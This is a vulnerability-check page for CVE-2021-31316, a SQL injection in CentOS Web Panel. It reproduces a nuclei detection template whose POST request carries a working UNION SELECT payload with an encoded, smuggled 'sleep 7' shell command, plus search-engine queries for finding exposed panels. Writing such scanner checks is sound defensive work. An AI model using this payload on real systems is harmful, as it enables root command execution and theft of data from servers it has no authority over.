CentOS Web Panel - SQL Injection

criticalseverity

9.8CVSS score

13.3%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

The unprivileged user portal part of CentOS Web Panel is affected by a SQL Injection via the 'idsession' HTTP POST parameter.

Impact

Unauthenticated attackers can exploit SQL injection via the idsession parameter to extract database contents or execute arbitrary commands with root privileges.

Fix

Apply security updates provided by CentOS Web Panel.

How to confirm it

Send: GET /
Positive when: contains(header, "cwpsrv")
Send: POST /login/index.php?acc=newpass
Positive when: duration>=7 and status_code == 200 and contains(response, "Control WebPanel")

Run it with nuclei: nuclei -id CVE-2021-31316 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-31316

info:
  name: CentOS Web Panel - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    The unprivileged user portal part of CentOS Web Panel is affected by a SQL Injection via the 'idsession' HTTP POST parameter.
  impact: |
    Unauthenticated attackers can exploit SQL injection via the idsession parameter to extract database contents or execute arbitrary commands with root privileges.
  remediation: |
    Apply security updates provided by CentOS Web Panel.
  reference:
    - https://www.shielder.com/advisories/centos-web-panel-idsession-root-rce/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31316
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-31316
    cwe-id: CWE-89
    epss-score: 0.13272
    epss-percentile: 0.96419
    cpe: cpe:2.3:a:control-webpanel:webpanel:-:*:*:*:*:*:*:*
  metadata:
    vendor: control-webpanel
    product: webpanel
    shodan-query: title:"Login | Control WebPanel"
    fofa-query: title="Login | Control WebPanel"
  tags: cve,cve2021,centos,cwpsrv,sqli,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "cwpsrv")'
        internal: true

  - raw:
      - |
        POST /login/index.php?acc=newpass HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        pass1=c3VwZXJwYXNzd29yZA%3D%3D&idsession=a'%20UNION%20SELECT'a'%2c'b'%2c'c'%2c'YWJjIiBVTklPTiBTRUxFQ1QgJ2EnLCdiJywnYycsJ2QnLCcrMSBkYXknLCdmJy0tIHAiO3NsZWVwIDc7I2B8fGF8fGJ8fGN8fGQ%3d'%2c'e'%2c'f'-- p

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code == 200'
          - 'contains(response, "Control WebPanel")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from